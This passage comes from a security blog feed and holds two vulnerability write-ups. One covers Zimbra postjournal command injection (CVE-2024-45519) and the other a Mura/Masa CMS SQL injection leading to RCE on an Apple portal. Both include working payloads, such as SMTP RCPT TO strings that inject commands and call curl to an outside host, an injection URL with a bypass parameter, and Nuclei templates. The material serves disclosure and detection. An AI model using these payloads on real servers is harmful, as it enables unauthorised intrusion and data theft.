<span class="err">└──</span> <span class="n">msg_handler</span><span class="p">(</span><span class="n">MSG</span> <span class="o">*</span><span class="n">msg</span><span class="p">)</span>
    <span class="err">└──</span> <span class="n">expand_addrs</span>
        <span class="err">└──</span> <span class="n">address_lookup</span>
            <span class="err">└──</span> <span class="n">map_address</span>
                <span class="err">└──</span> <span class="n">read_addr_maps</span>
                    <span class="err">└──</span> <span class="n">read_maps</span>
                        <span class="err">└──</span> <span class="n">run_command</span>
                            <span class="err">└──</span> <span class="n">execvp</span>
</code></pre></div></div>

<p>In the patched version, <code class="language-plaintext highlighter-rouge">execvp</code> is used, and user input is passed as an array, which prevents direct command injection. Additionally, we noticed the introduction of an <code class="language-plaintext highlighter-rouge">is_safe_input</code> function that sanitizes the input before it’s passed to <code class="language-plaintext highlighter-rouge">execvp</code>. We examined this function to identify any special characters that might lead to command injection.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">is_safe_input</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">input</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">input</span> <span class="o">==</span> <span class="nb">NULL</span> <span class="o">||</span> <span class="o">*</span><span class="n">input</span> <span class="o">==</span> <span class="sc">'\0'</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">c</span> <span class="o">=</span> <span class="n">input</span><span class="p">;</span> <span class="o">*</span><span class="n">c</span> <span class="o">!=</span> <span class="sc">'\0'</span><span class="p">;</span> <span class="n">c</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="n">c</span> <span class="o">==</span> <span class="sc">';'</span> <span class="o">||</span> <span class="o">*</span><span class="n">c</span> <span class="o">==</span> <span class="sc">'&amp;'</span> <span class="o">||</span> <span class="o">*</span><span class="n">c</span> <span class="o">==</span> <span class="sc">'|'</span> <span class="o">||</span> <span class="o">*</span><span class="n">c</span> <span class="o">==</span> <span class="sc">'`'</span> <span class="o">||</span> <span class="o">*</span><span class="n">c</span> <span class="o">==</span> <span class="sc">'$'</span> <span class="o">||</span>
            <span class="o">*</span><span class="n">c</span> <span class="o">==</span> <span class="sc">'('</span> <span class="o">||</span> <span class="o">*</span><span class="n">c</span> <span class="o">==</span> <span class="sc">')'</span> <span class="o">||</span> <span class="o">*</span><span class="n">c</span> <span class="o">==</span> <span class="sc">'&lt;'</span> <span class="o">||</span> <span class="o">*</span><span class="n">c</span> <span class="o">==</span> <span class="sc">'&gt;'</span> <span class="o">||</span> <span class="o">*</span><span class="n">c</span> <span class="o">==</span> <span class="sc">'\\'</span> <span class="o">||</span>
            <span class="o">*</span><span class="n">c</span> <span class="o">==</span> <span class="sc">'\''</span> <span class="o">||</span> <span class="o">*</span><span class="n">c</span> <span class="o">==</span> <span class="sc">'\"'</span> <span class="o">||</span> <span class="o">*</span><span class="n">c</span> <span class="o">==</span> <span class="sc">'\n'</span> <span class="o">||</span> <span class="o">*</span><span class="n">c</span> <span class="o">==</span> <span class="sc">'\r'</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="diffing-binaries">Diffing Binaries</h2>

<p>To understand the vulnerability in the unpatched version, we obtained the original software: <a href="https://files.zimbra.com/downloads/8.8.15_GA/zcs-NETWORK-8.8.15_GA_4177.UBUNTU20_64.20211112014220.tgz">Unpatched Zimbra Package</a></p>

<p>We set up this version on our test server and reversed the <code class="language-plaintext highlighter-rouge">postjournal</code> binary. Surprisingly, we found that there were no calls to <code class="language-plaintext highlighter-rouge">execvp</code> or a function named <code class="language-plaintext highlighter-rouge">run_command</code>. Instead, in the <code class="language-plaintext highlighter-rouge">read_maps</code> function, a direct call to <code class="language-plaintext highlighter-rouge">popen</code> was made, passing a string constructed with our input without any sanitization.</p>

<h2 id="walkthrough-of-the-postjournal-binary">Walkthrough of the postjournal Binary</h2>

<p>Inside the <code class="language-plaintext highlighter-rouge">main</code> function, when an SMTP connection is initiated, the <code class="language-plaintext highlighter-rouge">msg_handler</code> function is called, which in turn processes the <code class="language-plaintext highlighter-rouge">MSG</code> object.</p>

<p><img src="/assets/imported/Zimbra-Remote-Command-Execution/image-1.png" alt="Call to expand_addrs" /></p>

<p>The <code class="language-plaintext highlighter-rouge">msg_receiver</code> function calls the <code class="language-plaintext highlighter-rouge">msg_handler</code> function which extracts the recipient addresses from the <code class="language-plaintext highlighter-rouge">RCPT TO:&lt;...&gt;</code> SMTP command which is stored in <code class="language-plaintext highlighter-rouge">msg-&gt;rcpt_addresses</code> variable. The value of <code class="language-plaintext highlighter-rouge">msg-&gt;rcpt_addresses</code> is set inside <code class="language-plaintext highlighter-rouge">msg_receiver</code> by the function <code class="language-plaintext highlighter-rouge">rcpt_to_handler</code>.</p>

<p><img src="/assets/imported/Zimbra-Remote-Command-Execution/image--14-.png" alt="" /></p>

<p>Then the <code class="language-plaintext highlighter-rouge">expand_addrs</code> function is called with these addresses.</p>

<p><img src="/assets/imported/Zimbra-Remote-Command-Execution/Screenshot_2024-09-28_at_12.33.10_AM-1.png" alt="" /></p>

<p>Inside <code class="language-plaintext highlighter-rouge">expand_addrs</code>, the <code class="language-plaintext highlighter-rouge">address_lookup</code> function is invoked with the same addresses.</p>

<p><img src="/assets/imported/Zimbra-Remote-Command-Execution/image-2.png" alt="" /></p>

<p>Inside the <code class="language-plaintext highlighter-rouge">address_lookup </code> function, the <code class="language-plaintext highlighter-rouge">map_address</code> function is called.</p>

<p><img src="/assets/imported/Zimbra-Remote-Command-Execution/Screenshot_2024-09-28_at_12.27.57_AM-1.png" alt="" /></p>

<p><img src="/assets/imported/Zimbra-Remote-Command-Execution/image-1-3.png" alt="" /></p>

<p>This leads to <code class="language-plaintext highlighter-rouge">read_addr_maps</code>, which eventually calls <code class="language-plaintext highlighter-rouge">read_maps</code>.</p>

<p>Within <code class="language-plaintext highlighter-rouge">read_maps</code>, a command string is constructed using a format string that includes the user-provided address.</p>

<p><img src="/assets/imported/Zimbra-Remote-Command-Execution/Screenshot_2024-09-28_at_12.25.48_AM.png" alt="" /></p>

<p><img src="/assets/imported/Zimbra-Remote-Command-Execution/Screenshot_2024-09-28_at_12.26.07_AM.png" alt="Command string before popen" /></p>

<p>Finally, <code class="language-plaintext highlighter-rouge">popen</code> is called with the constructed command string, directly using our input.</p>

<h3 id="dynamic-binary-analysis-via-gdb">Dynamic Binary Analysis via GDB</h3>

<p>Based on our static analysis, we believed the following SMTP message should result in command injection on the postjournal service running on port 10027 (on loopback interface)</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>EHLO localhost
MAIL FROM: &lt;aaaa@mail.domain.com&gt;
RCPT TO: &lt;<span class="s2">"aabbb;touch</span><span class="k">${</span><span class="nv">IFS</span><span class="k">}</span><span class="s2">/tmp/pwn;"</span>@mail.domain.com&gt;
DATA
aaa
<span class="nb">.</span>
</code></pre></div></div>

<p>To validate our findings, we set a breakpoint in GDB at <code class="language-plaintext highlighter-rouge">read_maps</code> and then just before the <code class="language-plaintext highlighter-rouge">popen</code> call in <code class="language-plaintext highlighter-rouge">read_maps</code>.</p>

<p><img src="/assets/imported/Zimbra-Remote-Command-Execution/image-6.png" alt="" /></p>

<p>We inspected the <code class="language-plaintext highlighter-rouge">cmd</code> argument passed to <code class="language-plaintext highlighter-rouge">popen</code>:</p>

<p><img src="/assets/imported/Zimbra-Remote-Command-Execution/image-4.png" alt="Inspecting cmd argument" /></p>

<p>Notably, the <code class="language-plaintext highlighter-rouge">cmd</code> argument is enclosed in double quotes, which would prevent successful command injection using simple shell metacharacters. However, we realised that this could be bypassed using the <code class="language-plaintext highlighter-rouge">$()</code> syntax.</p>

<p>We crafted our input to exploit this:</p>

<p><img src="/assets/imported/Zimbra-Remote-Command-Execution/image-5.png" alt="Successful command execution" /></p>

<p>As a result, we successfully executed arbitrary commands, confirming the creation of the <code class="language-plaintext highlighter-rouge">/tmp/pwn</code> file.</p>

<h3 id="proof-of-concept-poc">Proof of Concept (PoC)</h3>

<p>We tested the exploit directly on the <code class="language-plaintext highlighter-rouge">postjournal</code> service via port <code class="language-plaintext highlighter-rouge">10027</code> using the following SMTP commands:</p>

<div class="language-kotlin highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">EHLO</span> <span class="n">localhost</span>
<span class="nc">MAIL</span> <span class="nc">FROM</span><span class="p">:</span> <span class="p">&lt;</span><span class="nd">aaaa@</span><span class="n">mail</span><span class="p">.</span><span class="n">domain</span><span class="p">.</span><span class="n">com</span><span class="p">&gt;</span>
<span class="nc">RCPT</span> <span class="nc">TO</span><span class="p">:</span> <span class="p">&lt;</span><span class="s">"aabbb$(curl${IFS}oast.me)"</span><span class="err">@</span><span class="n">mail</span><span class="p">.</span><span class="n">domain</span><span class="p">.</span><span class="n">com</span><span class="p">&gt;</span>
<span class="nc">DATA</span>
<span class="nc">Test</span> <span class="n">message</span>
<span class="p">.</span>
</code></pre></div></div>

<h2 id="enabling-postjournal-and-exploiting-via-smtp">Enabling postjournal and Exploiting via SMTP</h2>

<p>Testing the exploit on port <code class="language-plaintext highlighter-rouge">10027</code> worked as expected. However, when attempting the same exploit over SMTP port <code class="language-plaintext highlighter-rouge">25</code>, it was initially unsuccessful.</p>

<p>After some investigation, we discovered that the <code class="language-plaintext highlighter-rouge">postjournal</code> service is not enabled by default. To enable it, we executed:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>zmlocalconfig <span class="nt">-e</span> <span class="nv">postjournal_enabled</span><span class="o">=</span><span class="nb">true
</span>zmcontrol restart
</code></pre></div></div>

<p>With <code class="language-plaintext highlighter-rouge">postjournal</code> enabled, we reran our exploit against SMTP port <code class="language-plaintext highlighter-rouge">25</code> and observed successful command execution. Initially, we conducted this test on our own Zimbra server for proof of concept. However, when attempting to exploit the vulnerability remotely over the internet, we faced failures.</p>

<h2 id="limitations">Limitations</h2>

<p>Upon reviewing the logs, we noticed that the RCPT address was being rejected due to the <code class="language-plaintext highlighter-rouge">smtpd_relay_restrictions</code> setting in <code class="language-plaintext highlighter-rouge">postconf</code>, which defaults to:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smtpd_relay_restrictions <span class="o">=</span> permit_sasl_authenticated, permit_mynetworks, reject_unauth_destination
</code></pre></div></div>

<p>This configuration allows sending mail only if the client is authenticated or if the client is within the <code class="language-plaintext highlighter-rouge">mynetworks</code> list. Our initial PoC worked internally because we were connecting from the server itself.</p>

<p>We checked the <code class="language-plaintext highlighter-rouge">mynetworks</code> setting:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>postconf mynetworks
</code></pre></div></div>

<p>The output revealed:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">mynetworks</span> <span class="o">=</span> <span class="mf">127.0</span><span class="p">.</span><span class="mf">0.0</span><span class="o">/</span><span class="mi">8</span> <span class="p">[::</span><span class="mi">1</span><span class="p">]</span><span class="o">/</span><span class="mi">128</span> <span class="o">&lt;</span><span class="nx">Public</span> <span class="nx">IP</span><span class="o">&gt;</span><span class="sr">/20 10.47.0.0/</span><span class="mi">16</span> <span class="mf">10.122</span><span class="p">.</span><span class="mf">0.0</span><span class="o">/</span><span class="mi">20</span>
</code></pre></div></div>

<p>Surprisingly, on our instance,the default configuration included a <code class="language-plaintext highlighter-rouge">/20</code> CIDR range of our public IP address in <code class="language-plaintext highlighter-rouge">mynetworks</code>. This means that the exploit could still be performed remotely if the <code class="language-plaintext highlighter-rouge">postjournal</code> service is enabled and the attacker is within the allowed network range.</p>

<h2 id="automating-vulnerability-detection-with-nuclei">Automating vulnerability detection with Nuclei</h2>

<p>This Remote Command Injection vulnerability can be identified by utilizing the below Nuclei template:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">id</span><span class="pi">:</span> <span class="s">CVE-2024-45519</span>

<span class="na">info</span><span class="pi">:</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">Zimbra Collaboration Suite &lt; 9.0.0 - Remote Code Execution</span>
  <span class="na">author</span><span class="pi">:</span> <span class="s">pdresearch,iamnoooob,parthmalhotra,ice3man543</span>
  <span class="na">severity</span><span class="pi">:</span> <span class="s">critical</span>
  <span class="na">description</span><span class="pi">:</span> <span class="pi">|</span>
    <span class="s">SMTP-based vulnerability in the PostJournal service of Zimbra Collaboration Suite that allows unauthenticated attackers to inject arbitrary commands. This vulnerability arises due to improper sanitization of SMTP input, enabling attackers to craft malicious SMTP messages that execute commands under the Zimbra user context. Successful exploitation can lead to unauthorized access, privilege escalation, and potential compromise of the affected system’s integrity and confidentiality.</span>
  <span class="na">reference</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="s">https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories</span>
  <span class="na">classification</span><span class="pi">:</span>
    <span class="na">cpe</span><span class="pi">:</span> <span class="s">cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*</span>
  <span class="na">metadata</span><span class="pi">:</span>
    <span class="na">vendor</span><span class="pi">:</span> <span class="s">synacor</span>
    <span class="na">product</span><span class="pi">:</span> <span class="s">zimbra_collaboration_suite</span>
    <span class="na">shodan-query</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">http.title:"zimbra collaboration suite"</span>
      <span class="pi">-</span> <span class="s">http.title:"zimbra web client sign in"</span>
      <span class="pi">-</span> <span class="s">http.favicon.hash:1624375939</span>
    <span class="na">fofa-query</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">title="zimbra web client sign in"</span>
      <span class="pi">-</span> <span class="s">title="zimbra collaboration suite"</span>
  <span class="na">tags</span><span class="pi">:</span> <span class="s">cve,cve2024,rce,zimbra</span>

<span class="na">javascript</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="na">pre-condition</span><span class="pi">:</span> <span class="pi">|</span>
      <span class="s">isPortOpen(Host,Port);</span>
    <span class="na">code</span><span class="pi">:</span> <span class="pi">|</span>
      <span class="s">let m = require('nuclei/net');</span>
      <span class="s">let address = Host+":"+Port;</span>
      <span class="s">let conn;</span>
      <span class="s">conn=  m.Open('tcp', address)</span>
      <span class="s">conn.Send('EHLO localhost\r\n');</span>
      <span class="s">conn.RecvString()</span>
      <span class="s">conn.Send('MAIL FROM: &lt;aaaa@mail.domain.com&gt;\r\n');</span>
      <span class="s">conn.RecvString()</span>
      <span class="s">conn.Send('RCPT TO: &lt;"aabbb$(curl${IFS}'+oast+')"@mail.domain.com&gt;\r\n');</span>
      <span class="s">conn.RecvString()</span>
      <span class="s">conn.Send('DATA\r\n');</span>
      <span class="s">conn.RecvString()</span>
      <span class="s">conn.Send('aaa\r\n');</span>
      <span class="s">conn.RecvString()</span>
      <span class="s">conn.Send('.\r\n');</span>
      <span class="s">resp = conn.RecvString()</span>
      <span class="s">conn.Send('QUIT\r\n');</span>
      <span class="s">conn.Close()</span>
      <span class="s">resp</span>
    <span class="na">args</span><span class="pi">:</span>
      <span class="na">Host</span><span class="pi">:</span> <span class="s2">"</span><span class="s">"</span>
      <span class="na">Port</span><span class="pi">:</span> <span class="m">25</span>
      <span class="na">oast</span><span class="pi">:</span> <span class="s2">"</span><span class="s">"</span>

    <span class="na">matchers-condition</span><span class="pi">:</span> <span class="s">and</span>
    <span class="na">matchers</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="na">type</span><span class="pi">:</span> <span class="s">word</span>
        <span class="na">part</span><span class="pi">:</span> <span class="s">interactsh_protocol</span>
        <span class="na">words</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="s2">"</span><span class="s">http"</span>

      <span class="pi">-</span> <span class="na">type</span><span class="pi">:</span> <span class="s">word</span>
        <span class="na">words</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="s2">"</span><span class="s">message</span><span class="nv"> </span><span class="s">delivered"</span>
</code></pre></div></div>

<p>We’ve also created a pull request to include this template in the public <code class="language-plaintext highlighter-rouge">nuclei-templates</code> GitHub repository.</p>

<p><img src="/assets/imported/Zimbra-Remote-Command-Execution/image-7.png" alt="" /></p>

<h2 id="conclusion">Conclusion</h2>

<p>Our analysis of CVE-2024-45519 highlights a critical vulnerability in Zimbra’s <code class="language-plaintext highlighter-rouge">postjournal</code> service that allows unauthenticated remote command execution. The vulnerability stems from unsanitized user input being passed to <code class="language-plaintext highlighter-rouge">popen</code> in the unpatched version, enabling attackers to inject arbitrary commands.</p>

<p>While the patched version introduces input sanitization and replaces <code class="language-plaintext highlighter-rouge">popen</code> with <code class="language-plaintext highlighter-rouge">execvp</code>, mitigating direct command injection, it’s crucial for administrators to apply the latest patches promptly. Additionally, understanding and correctly configuring the <code class="language-plaintext highlighter-rouge">mynetworks</code> parameter is essential, as misconfigurations could expose the service to external exploitation.</p>

<p>We strongly recommend that all Zimbra administrators:</p>

<ul>
  <li>Verify that <code class="language-plaintext highlighter-rouge">postjournal</code> is disabled if not required.</li>
  <li>Ensure that <code class="language-plaintext highlighter-rouge">mynetworks</code> is correctly configured to prevent unauthorised access.</li>
  <li>Apply the latest security updates provided by Zimbra.</li>
</ul>

<p>By staying vigilant and proactive, organisations can protect themselves against such critical vulnerabilities and maintain the security of their email and collaboration platforms.</p>

<hr />

<p>By embracing Nuclei and participating in the <a href="https://github.com/projectdiscovery">open-source community</a> or joining the ProjectDiscovery Cloud Platform, organizations can strengthen their security defenses, stay ahead of emerging threats, and create a safer digital environment. Security is a collective effort, and together we can continuously evolve and tackle the challenges posed by cyber threats.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Note - This is cross post from our work at Projectdiscovery Blog]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://httpvoid.com/assets/cover.png" /><media:content medium="image" url="https://httpvoid.com/assets/cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Hacking Apple - SQL Injection to Remote Code Execution</title><link href="https://httpvoid.com/Hacking-Apple-with-SQL-Injection.md" rel="alternate" type="text/html" title="Hacking Apple - SQL Injection to Remote Code Execution" /><published>2024-05-08T00:00:00+00:00</published><updated>2024-05-08T00:00:00+00:00</updated><id>https://httpvoid.com/Hacking-Apple-with-SQL-Injection</id><content type="html" xml:base="https://httpvoid.com/Hacking-Apple-with-SQL-Injection.md"><![CDATA[<p>Note - This is cross post from our work at <a href="https://projectdiscovery.io/blog/hacking-apple-with-sql-injection">Projectdiscovery Blog</a></p>

<h2 id="introduction">Introduction</h2>

<p>In our <a href="https://projectdiscovery.io/blog/hello-lucee-let-us-hack-apple-again/">last blog post</a>, we delved into the inner workings of Lucee and took a look at the source code of Masa/Mura CMS, and the vastness of the potential attack surface struck us. It became evident that investing time in understanding the code could pay off. After dedicating a week to our exploration, we stumbled upon several entry points for exploitation, including a critical SQL injection flaw that we were able to exploit within Apple’s Book Travel portal.</p>

<p>In this blog post, we aim to share our insights and experiences, detailing how we identified the vulnerability sink, linked it back to its source, and leveraged the SQL injection to achieve Remote Code Execution (RCE).</p>

<h2 id="finding-the-sink">Finding the sink</h2>

<p>From playing around with the Masa/Mura CMS, we understood our attack surface - mainly the attack surface accessible on Apple’s environment. Our primary focus was on JSON API, as it exposes some methods that are accessible within Apple’s environment. Any potentially vulnerable sink we find should have its source in JSON API.</p>

<p>We deliberated on optimising our approach to streamline our source code review process. We explored the availability of static analyzers or CFM parsers capable of traversing through code while disregarding sanitizers.</p>

<p>For instance, this is how a safe parameterised SQL query is written via tag-based CFM:</p>

<pre><code class="language-cfml">&lt;cfquery&gt;
select * from table where column=&lt;cfqueryparam cfsqltype="cf_sql_varchar" value="#arguments.user_input#"&gt;
&lt;/cfquery&gt;
</code></pre>

<p>And this is how an unsafe SQL query is written:</p>

<pre><code class="language-cfml">&lt;cfquery&gt;
select * from table where column=#arguments.user_input#
&lt;/cfquery&gt;
</code></pre>

<p>It would be great if we could parse and traverse through the code and only print <code class="language-plaintext highlighter-rouge">cfquery</code> tags that have unsanitized input regardless of having the <code class="language-plaintext highlighter-rouge">cfqueryparam</code> tag inside or not. We came across <a href="https://github.com/foundeo/cfmlparser">https://github.com/foundeo/cfmlparser</a> which could let us do this.</p>

<p>Here’s how we targeted SQL injection sink detection:</p>

<ul>
  <li>Parse each CFM/CFC file.</li>
  <li>Go through each statement, select the statement if it’s a tag and its name is <code class="language-plaintext highlighter-rouge">cfquery</code> .</li>
  <li>Strip all tags (like cfqueryparam) inside the code block of cfquery and if it still has <code class="language-plaintext highlighter-rouge">arguments</code> in the codeblock then the input is not parameterized and the query is susceptible to an SQL injection, given no other validation is in place.</li>
  <li>Print this query.</li>
</ul>

<pre><code class="language-cfml">&lt;cfscript&gt;
    targetDirectory = "../mura-cms/";
    files = DirectoryList(targetDirectory, true, "query");

    for (file in files) {
        if (FindNoCase(".cfc", file.name) or FindNoCase(".cfm", file.name)) {
            fname = file.directory &amp; "/" &amp; file.name;
            if (file.name != "dbUtility.cfc" &amp;&amp; file.name != "configBean.cfc" &amp;&amp; !FindNoCase("admin", file.directory) &amp;&amp; !FindNoCase("dbUpdates", file.directory)) {
                filez = new cfmlparser.File(fname);
                statements = filez.getStatements();
                info = [];
                for (s in statements) {
                    if (s.isTag() &amp;&amp; s.getName() == "cfquery" &amp;&amp; FindNoCase("arguments", s.getStrippedInnerContent(true, true))) {
                        WriteOutput("Filename: &lt;b&gt;#fname#&lt;/b&gt;");
                        WriteOutput("&lt;br&gt;&lt;br&gt;" &amp; s.getStrippedInnerContent(true, true));
                        WriteOutput("&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;");
                    }
                }
            }
        }
    }
&lt;/cfscript&gt;
</code></pre>

<p>We started going through the result with a few things in mind, such as ignoring input like <code class="language-plaintext highlighter-rouge">siteid</code> because JSON API validates it in advance.</p>

<p>One of the queries that had two other inputs was this:</p>

<p><img src="/assets/imported/Hacking-Apple-with-SQL-Injection/image-2.png" alt="" /></p>

<h2 id="tracing-sink-to-source">Tracing sink to source</h2>

<p>Looking at the function which had this query concluded that there’s only one exploitable argument, that is, <code class="language-plaintext highlighter-rouge">ContentHistID</code>. The argument <code class="language-plaintext highlighter-rouge">columnid</code> is numeric and <code class="language-plaintext highlighter-rouge">siteid</code> is validated by default.</p>

<pre><code class="language-cfml">&lt;cffunction name="getObjects" output="false"&gt;
	&lt;cfargument name="columnID" required="yes" type="numeric" &gt;
	&lt;cfargument name="ContentHistID" required="yes" type="string" &gt;
	&lt;cfargument name="siteID" required="yes" type="string" &gt;

	&lt;cfset var rsObjects=""/&gt;

	&lt;cfquery attributeCollection="#variables.configBean.getReadOnlyQRYAttrs(name='rsObjects')#"&gt;
		select tcontentobjects.object,tcontentobjects.name,tcontentobjects.objectid, tcontentobjects.orderno, tcontentobjects.params, tplugindisplayobjects.configuratorInit from tcontentobjects
		inner join tcontent On(
		tcontentobjects.contenthistid=tcontent.contenthistid
		and tcontentobjects.siteid=tcontent.siteid)
		left join tplugindisplayobjects on (tcontentobjects.object='plugin'
											and tcontentobjects.objectID=tplugindisplayobjects.objectID)
		where tcontent.siteid='#arguments.siteid#'
		and tcontent.contenthistid ='#arguments.contentHistID#'
		and tcontentobjects.columnid=#arguments.columnID#
		order by tcontentobjects.orderno
	&lt;/cfquery&gt;

	&lt;cfreturn rsObjects&gt;

&lt;/cffunction&gt;
</code></pre>

<p>The function <code class="language-plaintext highlighter-rouge">getObjects</code> was called within the <code class="language-plaintext highlighter-rouge">dspObjects</code> function in the core/mura/content/contentRendererUtility.cfc component.</p>

<p><img src="/assets/imported/Hacking-Apple-with-SQL-Injection/image-5.png" alt="" /></p>

<p>The call stack was:</p>

<p>JSON API -&gt; processAsyncObject -&gt; object case: displayregion -&gt; dspobjects() -&gt; getobjects().</p>

<p><img src="/assets/imported/Hacking-Apple-with-SQL-Injection/image-6.png" alt="" /></p>

<h2 id="triggering--exploiting-sql-injection">Triggering &amp; Exploiting SQL injection</h2>

<p>By default, Lucee escapes single quotes by adding a backslash before them when passed as input. This can be managed by using a backslash to escape one of the single quotes.</p>

<p>This should trigger the SQL injection:</p>

<p><code class="language-plaintext highlighter-rouge">/_api/json/v1/default/?method=processAsyncObject&amp;object=displayregion&amp;contenthistid=x%5c'</code></p>

<p>However, it didn’t. Upon revisiting the source code, we identified a crucial condition in the <code class="language-plaintext highlighter-rouge">dspObjects</code> function. Before calling <code class="language-plaintext highlighter-rouge">getObjects</code>, an <code class="language-plaintext highlighter-rouge">if</code> condition must be satisfied: the <code class="language-plaintext highlighter-rouge">isOnDisplay</code> property must be set to true in the Mura servlet event handler. Initially, we assumed that any property on the event handler could be set simply by passing the property name as a parameter, along with its value. This assumption was based on our debugging session within the codebase.</p>

<p>Our attempts to set the <code class="language-plaintext highlighter-rouge">isOnDisplay</code> property in this manner were unsuccessful. It appears that somewhere in the code, this property is being overwritten.</p>

<p>After conducting some grep searches, we stumbled upon the <code class="language-plaintext highlighter-rouge">standardSetIsOnDisplayHandler</code> function call within the <code class="language-plaintext highlighter-rouge">processAsyncObjects</code> of the JSON API.</p>

<p><img src="/assets/imported/Hacking-Apple-with-SQL-Injection/image-7.png" alt="" /></p>

<p>It appears that by simply passing the <code class="language-plaintext highlighter-rouge">previewID</code> parameter with any value, we can set the <code class="language-plaintext highlighter-rouge">previewID</code> property, which in turn will set the <code class="language-plaintext highlighter-rouge">isOnDisplay</code> property to true.</p>

<p><code class="language-plaintext highlighter-rouge">/_api/json/v1/default/?method=processAsyncObject&amp;object=displayregion&amp;contenthistid=x%5c'&amp;previewID=x</code></p>

<p>And it worked:</p>

<p><img src="/assets/imported/Hacking-Apple-with-SQL-Injection/image-8.png" alt="" /></p>

<p>Since this was an error-based SQL injection, we could exploit it quite easily to achieve Remote Code Execution (RCE). Locally, we successfully performed RCE by following these steps:</p>

<ol>
  <li>Reset an Admin user’s password.</li>
  <li>Obtain the reset token and user ID via SQL injection.</li>
  <li>Use the password reset endpoint with exfiltrated info.</li>
  <li>Utilize plugin installation to upload CFM files.</li>
</ol>

<p>However, on Apple’s environment, we encountered only an Unhandled Exception error without any query-related information, turning this into a blind SQL injection. Fortunately, the token and user ID are UUIDs, making it relatively straightforward to exfiltrate them. With a bit of scripting, we were able to accomplish this task.</p>

<p><img src="/assets/imported/Hacking-Apple-with-SQL-Injection/image.png" alt="" /></p>

<p>We promptly submitted our report to Apple, including Proof of Concept (PoC) demonstrating logging into an account while theoretically providing them with RCE details.</p>

<h2 id="detection-via-nuclei">Detection via Nuclei</h2>

<p>This SQL injection vulnerability can be identified by utilizing the below Nuclei template:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">id</span><span class="pi">:</span> <span class="s">CVE-2024-32640</span>

<span class="na">info</span><span class="pi">:</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">Mura/Masa CMS - SQL Injection</span>
  <span class="na">author</span><span class="pi">:</span> <span class="s">iamnoooob,rootxharsh,pdresearch</span>
  <span class="na">severity</span><span class="pi">:</span> <span class="s">critical</span>
  <span class="na">description</span><span class="pi">:</span> <span class="pi">|</span>
    <span class="s">The Mura/Masa CMS is vulnerable to SQL Injection.</span>
  <span class="na">reference</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="s">https://blog.projectdiscovery.io/mura-masa-cms-pre-auth-sql-injection/</span>
    <span class="pi">-</span> <span class="s">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-32640</span>
  <span class="na">impact</span><span class="pi">:</span> <span class="pi">|</span>
    <span class="s">Successful exploitation could lead to unauthorized access to sensitive data.</span>
  <span class="na">remediation</span><span class="pi">:</span> <span class="pi">|</span>
    <span class="s">Apply the vendor-supplied patch or update to a secure version.</span>
  <span class="na">metadata</span><span class="pi">:</span>
    <span class="na">verified</span><span class="pi">:</span> <span class="kc">true</span>
    <span class="na">max-request</span><span class="pi">:</span> <span class="m">3</span>
    <span class="na">vendor</span><span class="pi">:</span> <span class="s">masacms</span>
    <span class="na">product</span><span class="pi">:</span> <span class="s">masacms</span>
    <span class="na">shodan-query</span><span class="pi">:</span> <span class="s1">'</span><span class="s">Generator:</span><span class="nv"> </span><span class="s">Masa</span><span class="nv"> </span><span class="s">CMS'</span>
  <span class="na">tags</span><span class="pi">:</span> <span class="s">cve,cve2022,sqli,cms,masa,masacms</span>

<span class="na">http</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="na">raw</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="pi">|</span>
        <span class="s">POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1</span>
        <span class="s">Host: </span>
        <span class="s">Content-Type: application/x-www-form-urlencoded</span>

        <span class="s">object=displayregion&amp;contenthistid=x\'&amp;previewid=1</span>

    <span class="na">matchers</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="na">type</span><span class="pi">:</span> <span class="s">dsl</span>
        <span class="na">dsl</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="s1">'</span><span class="s">status_code</span><span class="nv"> </span><span class="s">==</span><span class="nv"> </span><span class="s">500'</span>
          <span class="pi">-</span> <span class="s1">'</span><span class="s">contains(header,</span><span class="nv"> </span><span class="s">"application/json")'</span>
